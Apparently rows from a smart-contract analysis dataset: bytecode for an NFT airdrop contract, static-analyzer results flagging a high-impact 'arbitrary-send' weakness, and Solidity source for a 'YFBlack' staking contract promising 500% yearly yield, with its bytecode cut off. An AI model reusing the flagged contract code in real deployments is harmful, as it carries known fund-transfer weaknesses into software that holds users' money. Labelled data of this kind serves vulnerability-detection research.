// Check if the computed hash (root) is equal to the provided root
return computedHash == root;
}
}
|
0x608060405234801561001057600080fd5b506004361061014d5760003560e01c80636352211e116100c3578063b88d4fde1161007c578063b88d4fde146102be578063c6f0308c146102d1578063c87b56dd146102ff578063d2ef079514610312578063d712f36914610325578063e985e9c5146103385761014d565b80636352211e1461025f57806370a08231146102725780638da5cb5b1461028557806395d89b4114610299578063a22cb465146102a1578063b29a3105146102b45761014d565b806323b872dd1161011557806323b872dd146101f65780632ab4d052146102095780632f745c591461021357806342842e0e146102265780634f6ccce71461023957806354ef224b1461024c5761014d565b806301ffc9a71461015257806306fdde031461018a578063081812fc1461019f578063095ea7b3146101ca57806318160ddd146101df575b600080fd5b6101756101603660046115fd565b60036020526000908152604090205460ff1681565b60405190151581526020015b60405180910390f35b61019261034b565b60405161018191906117e2565b6101b26101ad366004611635565b6103d9565b6040516001600160a01b039091168152602001610181565b6101dd6101d836600461156b565b61041b565b005b6101e860025481565b604051908152602001610181565b6101dd610204366004611421565b61050c565b6101e86108075481565b6101e861022136600461156b565b61051c565b6101dd610234366004611421565b610622565b6101e8610247366004611635565b61063d565b6101dd61025a366004611594565b61068a565b6101b261026d366004611635565b610758565b6101e86102803660046113ce565b6107ec565b610809546101b2906001600160a01b031681565b610192610859565b6101dd6102af366004611531565b610866565b6101e86108085481565b6101dd6102cc36600461145c565b6108d3565b6102e46102df366004611635565b61093c565b60408051938452602084019290925290820152606001610181565b61019261030d366004611635565b610970565b61017561032036600461164d565b610a1b565b6101dd61033336600461166f565b610a73565b6101756103463660046113ef565b610de1565b6000805461035890611864565b80601f016020809104026020016040519081016040528092919081815260200182805461038490611864565b80156103d15780601f106103a6576101008083540402835291602001916103d1565b820191906000526020600020905b8154815290600101906020018083116103b457829003601f168201915b505050505081565b60006103e482610758565b5061040582610400811061040857634e487b7160e01b600052603260045260246000fd5b01546001600160a01b031690505b919050565b600061042682610758565b9050336001600160a01b038216148061044457506104448133610de1565b6104955760405162461bcd60e51b815260206004820152601e60248201527f4e6f74206f776e6572206e6f7220617070726f76656420666f7220616c6c000060448201526064015b60405180910390fd5b826104058361040081106104b957634e487b7160e01b600052603260045260246000fd5b0180546001600160a01b0319166001600160a01b03928316179055604051839185811691908416907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92590600090a4505050565b610517838383610e10565b505050565b6001600160a01b03821660009081526004602052604081208054831061057a5760405162461bcd60e51b8152602060048201526013602482015272496e646578206f7574206f6620626f756e647360681b604482015260640161048c565b60008060005b610400811015610616576000610598610100836118ba565b9050806105d257600185016105af6101008461180d565b600481106105cd57634e487b7160e01b600052603260045260246000fd5b015493505b60018185901c166001141561060357868314156105f55750935061061c92505050565b826105ff8161189f565b9350505b508061060e8161189f565b915050610580565b50600080fd5b92915050565b610517838383604051806020016040528060008152506108d3565b600060025482106106865760405162461bcd60e51b8152602060048201526013602482015272496e646578206f7574206f6620626f756e647360681b604482015260640161048c565b5090565b610809546001600160a01b031633146106a257600080fd5b60005b838110156107515761080a80546001810182556000919091526004027fe2ddf541ae811adb78994ecd743afb366425ab3cd8a1a181a520b921bb7ba64f0185858381811061070357634e487b7160e01b600052603260045260246000fd5b602002919091013582555083838381811061072e57634e487b7160e01b600052603260045260246000fd5b9050602002013581600201819055505080806107499061189f565b9150506106a5565b5050505050565b60006104008210156107a4576000600583610400811061078857634e487b7160e01b600052603260045260246000fd5b01546001600160a01b0316905080156107a2579050610416565b505b60405162461bcd60e51b815260206004820152601d60248201527f517565727920666f72206e6f6e6578697374656e7420746f6b656e4964000000604482015260640161048c565b60006001600160a01b03821661083d5760405162461bcd60e51b8152602060048201526016602482015275517565727920666f72207a65726f206164647265737360501b604482015260640161048c565b506001600160a01b031660009081526004602052604090205490565b6001805461035890611864565b336000818152610806602090815260408083206001600160a01b03871680855290835292819020805460ff191686151590811790915590519081529192917f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31910160405180910390a35050565b6108de848484610e10565b6108ea84848484610f54565b6109365760405162461bcd60e51b815260206004820152601f60248201527f5472616e7366657220746f206e6f6e2045524337323120726563656976657200604482015260640161048c565b50505050565b61080a818154811061094d57600080fd5b600091825260209091206004909102018054600182015460029092015490925083565b606061097b82610758565b50600082815261080560205260409020805461099690611864565b80601f01602080910402602001604051908101604052809291908181526020018280546109c290611864565b8015610a0f5780601f106109e457610100808354040283529160200191610a0f565b820191906000526020600020905b8154815290600101906020018083116109f257829003601f168201915b50505050509050919050565b600061080a8381548110610a3f57634e487b7160e01b600052603260045260246000fd5b600091825260208083206001600160a01b03861684526003600490930201919091019052604090205460ff16905092915050565b600254610807548110610abb5760405162461bcd60e51b815260206004820152601060248201526f105b1b081391951cc818db185a5b595960821b604482015260640161048c565b6000888888604051602001610ad29392919061178b565b604051602081830303815290604052805190602001209050818914610b305760405162461bcd60e51b8152602060048201526014602482015273092dcc6dee4e4cac6e840d0c2e6d040d2dcc8caf60631b604482015260640161048c565b610b3f8484610808548461109f565b610b805760405162461bcd60e51b815260206004820152601260248201527124b73b30b634b2103430b9b410383937b7b360711b604482015260640161048c565b6040516bffffffffffffffffffffffff193360601b166020820152603401604051602081830303815290604052805190602001209050600061080a8b81548110610bda57634e487b7160e01b600052603260045260246000fd5b9060005260206000209060040201905061080a805490508b10610c355760405162461bcd60e51b8152602060048201526013602482015272092dcecc2d8d2c840dacae4d6d8ca92dcc8caf606b1b604482015260640161048c565b8060020154816001015410610c8c5760405162461bcd60e51b815260206004820181905260248201527f416c6c204e46547320636c61696d656420696e20746869732061697264726f70604482015260640161048c565b33600090815260038201602052604090205460ff1615610cee5760405162461bcd60e51b815260206004820181905260248201527f557365722068617320636c61696d656420696e20746869732061697264726f70604482015260640161048c565b610cfe878783600001548561109f565b610d405760405162461bcd60e51b815260206004820152601360248201527224b73b30b634b21031b630b4b690383937b7b360691b604482015260640161048c565b600181018054906000610d528361189f565b90915550503360009081526003820160209081526040808320805460ff191660011790558583526108059091529020610d8c908a8a6112dd565b50610d97338461115b565b604051839033906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908290a4610dd18360016117f5565b6002555050505050505050505050565b6001600160a01b0391821660009081526108066020908152604080832093909416825291909152205460ff1690565b6001600160a01b038316610e2357600080fd5b6001600160a01b038216610e3657600080fd5b6000610e4182610758565b9050336001600160a01b0382161480610e6a575033610e5f836103d9565b6001600160a01b0316145b80610e7a5750610e7a8133610de1565b15610f0c57610405826104008110610ea257634e487b7160e01b600052603260045260246000fd5b0180546001600160a01b0319169055610ebb848361123b565b610ec5838361115b565b81836001600160a01b0316856001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a450610517565b60405162461bcd60e51b815260206004820181905260248201527f43616c6c6572206973206e6f74206f776e6572206e6f7220617070726f766564604482015260640161048c565b6000833b80610f67576001915050611097565b600080866001600160a01b0316600063150b7a0260e01b338b8a8a604051602401610f9594939291906117a5565b60408051601f198184030181529181526020820180516001600160e01b03166001600160e01b0319909416939093179092529051610fd3919061176f565b60006040518083038185875af1925050503d8060008114611010576040519150601f19603f3d011682016040523d82523d6000602084013e611015565b606091505b5091509150816110675760405162461bcd60e51b815260206004820152601f60248201527f5472616e7366657220746f206e6f6e2045524337323120726563656976657200604482015260640161048c565b60008180602001905181019061107d9190611619565b6001600160e01b031916630a85bd0160e11b149450505050505b949350505050565b600081815b8581101561114f5760008787838181106110ce57634e487b7160e01b600052603260045260246000fd5b90506020020135905080831161110f57604080516020810185905290810182905260600160405160208183030381529060405280519060200120925061113c565b60408051602081018390529081018490526060016040516020818303038152906040528051906020012092505b50806111478161189f565b9150506110a4565b50909214949350505050565b81600582610400811061117e57634e487b7160e01b600052603260045260246000fd5b0180546001600160a01b0319166001600160a01b0392831617905582166000908152600460205260408120805490916001918391906111be9084906117f5565b90915550600090506111d26101008461180d565b905060008260010182600481106111f957634e487b7160e01b600052603260045260246000fd5b01549050611209610100856118ba565b6001901b811783600101836004811061123257634e487b7160e01b600052603260045260246000fd5b01555050505050565b6001600160a01b038216600090815260046020526040812080549091600191839190611268908490611821565b909155506000905061127c6101008461180d565b905060008260010182600481106112a357634e487b7160e01b600052603260045260246000fd5b015490506112b3610100856118ba565b6001901b19811683600101836004811061123257634e487b7160e01b600052603260045260246000fd5b8280546112e990611864565b90600052602060002090601f01602090048101928261130b5760008555611351565b82601f106113245782800160ff19823516178555611351565b82800160010185558215611351579182015b82811115611351578235825591602001919060010190611336565b506106869291505b808211156106865760008155600101611359565b80356001600160a01b038116811461041657600080fd5b60008083601f840112611395578081fd5b50813567ffffffffffffffff8111156113ac578182fd5b6020830191508360208260051b85010111156113c757600080fd5b9250929050565b6000602082840312156113df578081fd5b6113e88261136d565b9392505050565b60008060408385031215611401578081fd5b61140a8361136d565b91506114186020840161136d565b90509250929050565b600080600060608486031215611435578081fd5b61143e8461136d565b925061144c6020850161136d565b9150604084013590509250925092565b60008060008060808587031215611471578081fd5b61147a8561136d565b93506114886020860161136d565b925060408501359150606085013567ffffffffffffffff808211156114ab578283fd5b818701915087601f8301126114be578283fd5b8135818111156114d0576114d06118fa565b604051601f8201601f19908116603f011681019083821181831017156114f8576114f86118fa565b816040528281528a6020848701011115611510578586fd5b82602086016020830137918201602001949094529598949750929550505050565b60008060408385031215611543578182fd5b61154c8361136d565b915060208301358015158114611560578182fd5b809150509250929050565b6000806040838503121561157d578182fd5b6115868361136d565b946020939093013593505050565b600080600080604085870312156115a9578384fd5b843567ffffffffffffffff808211156115c0578586fd5b6115cc88838901611384565b909650945060208701359150808211156115e4578384fd5b506115f187828801611384565b95989497509550505050565b60006020828403121561160e578081fd5b81356113e881611910565b60006020828403121561162a578081fd5b81516113e881611910565b600060208284031215611646578081fd5b5035919050565b6000806040838503121561165f578182fd5b823591506114186020840161136d565b60008060008060008060008060a0898b03121561168a578384fd5b8835975060208901359650604089013567ffffffffffffffff808211156116af578586fd5b818b0191508b601f8301126116c2578586fd5b8135818111156116d0578687fd5b8c60208285010111156116e1578687fd5b6020830198508097505060608b01359150808211156116fe578586fd5b61170a8c838d01611384565b909650945060808b0135915080821115611722578384fd5b5061172f8b828c01611384565b999c989b5096995094979396929594505050565b6000815180845261175b816020860160208601611838565b601f01601f19169290920160200192915050565b60008251611781818460208701611838565b9190910192915050565b600084825282846020840137910160200190815292915050565b6001600160a01b03858116825284166020820152604081018390526080606082018190526000906117d890830184611743565b9695505050505050565b6000602082526113e86020830184611743565b60008219821115611808576118086118ce565b500190565b60008261181c5761181c6118e4565b500490565b600082821015611833576118336118ce565b500390565b60005b8381101561185357818101518382015260200161183b565b838111156109365750506000910152565b600181811c9082168061187857607f821691505b6020821081141561189957634e487b7160e01b600052602260045260246000fd5b50919050565b60006000198214156118b3576118b36118ce565b5060010190565b6000826118c9576118c96118e4565b500690565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052601260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160e01b03198116811461192657600080fd5b5056fea26469706673582212203de0284e0708e65673c8119655fb9fc8785ef9435e06c17a81c2c5a94da75e4064736f6c63430008030033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 3,931 |
0xd43efe2a74671094f363198cdc5acb755e3128bb
|
/**
*
YFBlack's farming token contract.
APY is set at 500% with clifftime of 3 days.
*/
pragma solidity 0.6.12;
// SPDX-License-Identifier: BSD-3-Clause
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
library EnumerableSet {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping (bytes32 => uint256) _indexes;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) { // Equivalent to contains(set, value)
// To delete an element from the _values array in O(1), we swap the element to delete with the last one in
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
// When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Set storage set, uint256 index) private view returns (bytes32) {
require(set._values.length > index, "EnumerableSet: index out of bounds");
return set._values[index];
}
// AddressSet
struct AddressSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(value)));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(value)));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(value)));
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint256(_at(set._inner, index)));
}
// UintSet
struct UintSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address payable public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address payable newOwner) onlyOwner public {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
interface Token {
function transferFrom(address, address, uint) external returns (bool);
function transfer(address, uint) external returns (bool);
}
contract YFBlack is Ownable {
using SafeMath for uint;
using EnumerableSet for EnumerableSet.AddressSet;
event RewardsTransferred(address holder, uint amount);
// staking token contract address
address public constant tokenAddress = 0x11f67894Dd15cF04cb6a22F59277e983cbA6c5E7;
// reward rate 500.00% per year
uint public constant rewardRate = 50000;
uint public constant rewardInterval = 365 days;
uint public constant fee = 1e16;
// unstaking possible after 3 days
uint public constant cliffTime = 3 days;
uint public totalClaimedRewards = 0;
EnumerableSet.AddressSet private holders;
mapping (address => uint) public depositedTokens;
mapping (address => uint) public stakingTime;
mapping (address => uint) public lastClaimedTime;
mapping (address => uint) public totalEarnedTokens;
function updateAccount(address account) private {
uint pendingDivs = getPendingDivs(account);
if (pendingDivs > 0) {
require(Token(tokenAddress).transfer(account, pendingDivs), "Could not transfer tokens.");
totalEarnedTokens[account] = totalEarnedTokens[account].add(pendingDivs);
totalClaimedRewards = totalClaimedRewards.add(pendingDivs);
emit RewardsTransferred(account, pendingDivs);
}
lastClaimedTime[account] = now;
}
function getPendingDivs(address _holder) public view returns (uint) {
if (!holders.contains(_holder)) return 0;
if (depositedTokens[_holder] == 0) return 0;
uint timeDiff = now.sub(lastClaimedTime[_holder]);
uint stakedAmount = depositedTokens[_holder];
uint pendingDivs = stakedAmount
.mul(rewardRate)
.mul(timeDiff)
.div(rewardInterval)
.div(1e4);
return pendingDivs;
}
function getNumberOfStakers() public view returns (uint) {
return holders.length();
}
function stake(uint amountToStake) payable public {
require(msg.value >= fee, "Insufficient fee deposited.");
owner.transfer(msg.value);
require(amountToStake > 0, "Cannot deposit 0 Tokens");
require(Token(tokenAddress).transferFrom(msg.sender, address(this), amountToStake), "Insufficient Token Allowance");
updateAccount(msg.sender);
depositedTokens[msg.sender] = depositedTokens[msg.sender].add(amountToStake);
if (!holders.contains(msg.sender)) {
holders.add(msg.sender);
stakingTime[msg.sender] = now;
}
}
function unstake(uint amountToWithdraw) payable public {
require(msg.value >= fee, "Insufficient fee deposited.");
owner.transfer(msg.value);
require(depositedTokens[msg.sender] >= amountToWithdraw, "Invalid amount to withdraw");
require(now.sub(stakingTime[msg.sender]) > cliffTime, "You recently staked, please wait before withdrawing.");
updateAccount(msg.sender);
require(Token(tokenAddress).transfer(msg.sender, amountToWithdraw), "Could not transfer tokens.");
depositedTokens[msg.sender] = depositedTokens[msg.sender].sub(amountToWithdraw);
if (holders.contains(msg.sender) && depositedTokens[msg.sender] == 0) {
holders.remove(msg.sender);
}
}
function claim() public {
updateAccount(msg.sender);
}
uint private constant stakingTokens = 57000e18;
function getStakingAmount() public view returns (uint) {
if (totalClaimedRewards >= stakingTokens) {
return 0;
}
uint remaining = stakingTokens.sub(totalClaimedRewards);
return remaining;
}
// function to allow owner to claim *other* ERC20 tokens sent to this contract
function transferAnyERC20Tokens(address _tokenAddr, address _to, uint _amount) public onlyOwner {
if (_tokenAddr == tokenAddress) {
revert();
}
Token(_tokenAddr).transfer(_to, _amount);
}
}
|
0x6080604052600436106101145760003560e01c806398896d10116100a0578063ced066c911610064578063ced066c9146104c9578063d578ceab146104f4578063ddca3f431461051f578063f2fde38b1461054a578063f3f91fa01461059b57610114565b806398896d10146103655780639d76ea58146103ca578063a694fc3a1461040b578063bec4de3f14610439578063c326bf4f1461046457610114565b80636270cd18116100e75780636270cd18146101ee578063658b6729146102535780636a395ccb1461027e5780637b0a47ee146102f95780638da5cb5b1461032457610114565b80630f1a6444146101195780632e17de78146101445780634e71d92d14610172578063583d42fd14610189575b600080fd5b34801561012557600080fd5b5061012e610600565b6040518082815260200191505060405180910390f35b6101706004803603602081101561015a57600080fd5b8101908080359060200190929190505050610607565b005b34801561017e57600080fd5b50610187610a99565b005b34801561019557600080fd5b506101d8600480360360208110156101ac57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610aa4565b6040518082815260200191505060405180910390f35b3480156101fa57600080fd5b5061023d6004803603602081101561021157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610abc565b6040518082815260200191505060405180910390f35b34801561025f57600080fd5b50610268610ad4565b6040518082815260200191505060405180910390f35b34801561028a57600080fd5b506102f7600480360360608110156102a157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610ae5565b005b34801561030557600080fd5b5061030e610c3c565b6040518082815260200191505060405180910390f35b34801561033057600080fd5b50610339610c42565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561037157600080fd5b506103b46004803603602081101561038857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610c66565b6040518082815260200191505060405180910390f35b3480156103d657600080fd5b506103df610dd5565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6104376004803603602081101561042157600080fd5b8101908080359060200190929190505050610ded565b005b34801561044557600080fd5b5061044e6111aa565b6040518082815260200191505060405180910390f35b34801561047057600080fd5b506104b36004803603602081101561048757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506111b2565b6040518082815260200191505060405180910390f35b3480156104d557600080fd5b506104de6111ca565b6040518082815260200191505060405180910390f35b34801561050057600080fd5b50610509611213565b6040518082815260200191505060405180910390f35b34801561052b57600080fd5b50610534611219565b6040518082815260200191505060405180910390f35b34801561055657600080fd5b506105996004803603602081101561056d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611224565b005b3480156105a757600080fd5b506105ea600480360360208110156105be57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611373565b6040518082815260200191505060405180910390f35b6203f48081565b662386f26fc10000341015610684576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f496e73756666696369656e7420666565206465706f73697465642e000000000081525060200191505060405180910390fd5b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc349081150290604051600060405180830381858888f193505050501580156106ea573d6000803e3d6000fd5b5080600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410156107a0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f496e76616c696420616d6f756e7420746f20776974686472617700000000000081525060200191505060405180910390fd5b6203f4806107f6600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020544261138b90919063ffffffff16565b1161084c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260348152602001806118ce6034913960400191505060405180910390fd5b610855336113a2565b7311f67894dd15cf04cb6a22f59277e983cba6c5e773ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156108da57600080fd5b505af11580156108ee573d6000803e3d6000fd5b505050506040513d602081101561090457600080fd5b8101908080519060200190929190505050610987576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f436f756c64206e6f74207472616e7366657220746f6b656e732e00000000000081525060200191505060405180910390fd5b6109d981600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461138b90919063ffffffff16565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610a3033600261163890919063ffffffff16565b8015610a7b57506000600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b15610a9657610a9433600261166890919063ffffffff16565b505b50565b610aa2336113a2565b565b60056020528060005260406000206000915090505481565b60076020528060005260406000206000915090505481565b6000610ae06002611698565b905090565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610b3d57600080fd5b7311f67894dd15cf04cb6a22f59277e983cba6c5e773ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610b8a57600080fd5b8273ffffffffffffffffffffffffffffffffffffffff1663a9059cbb83836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015610bfb57600080fd5b505af1158015610c0f573d6000803e3d6000fd5b505050506040513d6020811015610c2557600080fd5b810190808051906020019092919050505050505050565b61c35081565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000610c7c82600261163890919063ffffffff16565b610c895760009050610dd0565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415610cda5760009050610dd0565b6000610d2e600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020544261138b90919063ffffffff16565b90506000600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490506000610dc7612710610db96301e13380610dab87610d9d61c350896116ad90919063ffffffff16565b6116ad90919063ffffffff16565b6116dc90919063ffffffff16565b6116dc90919063ffffffff16565b90508093505050505b919050565b7311f67894dd15cf04cb6a22f59277e983cba6c5e781565b662386f26fc10000341015610e6a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f496e73756666696369656e7420666565206465706f73697465642e000000000081525060200191505060405180910390fd5b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc349081150290604051600060405180830381858888f19350505050158015610ed0573d6000803e3d6000fd5b5060008111610f47576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f43616e6e6f74206465706f736974203020546f6b656e7300000000000000000081525060200191505060405180910390fd5b7311f67894dd15cf04cb6a22f59277e983cba6c5e773ffffffffffffffffffffffffffffffffffffffff166323b872dd3330846040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b158015610fea57600080fd5b505af1158015610ffe573d6000803e3d6000fd5b505050506040513d602081101561101457600080fd5b8101908080519060200190929190505050611097576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601c8152602001807f496e73756666696369656e7420546f6b656e20416c6c6f77616e63650000000081525060200191505060405180910390fd5b6110a0336113a2565b6110f281600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116f590919063ffffffff16565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061114933600261163890919063ffffffff16565b6111a75761116133600261171190919063ffffffff16565b5042600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b50565b6301e1338081565b60046020528060005260406000206000915090505481565b6000690c11f9e7b10e91a00000600154106111e85760009050611210565b6000611209600154690c11f9e7b10e91a0000061138b90919063ffffffff16565b9050809150505b90565b60015481565b662386f26fc1000081565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461127c57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156112b657600080fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60066020528060005260406000206000915090505481565b60008282111561139757fe5b818303905092915050565b60006113ad82610c66565b905060008111156115f0577311f67894dd15cf04cb6a22f59277e983cba6c5e773ffffffffffffffffffffffffffffffffffffffff1663a9059cbb83836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561143d57600080fd5b505af1158015611451573d6000803e3d6000fd5b505050506040513d602081101561146757600080fd5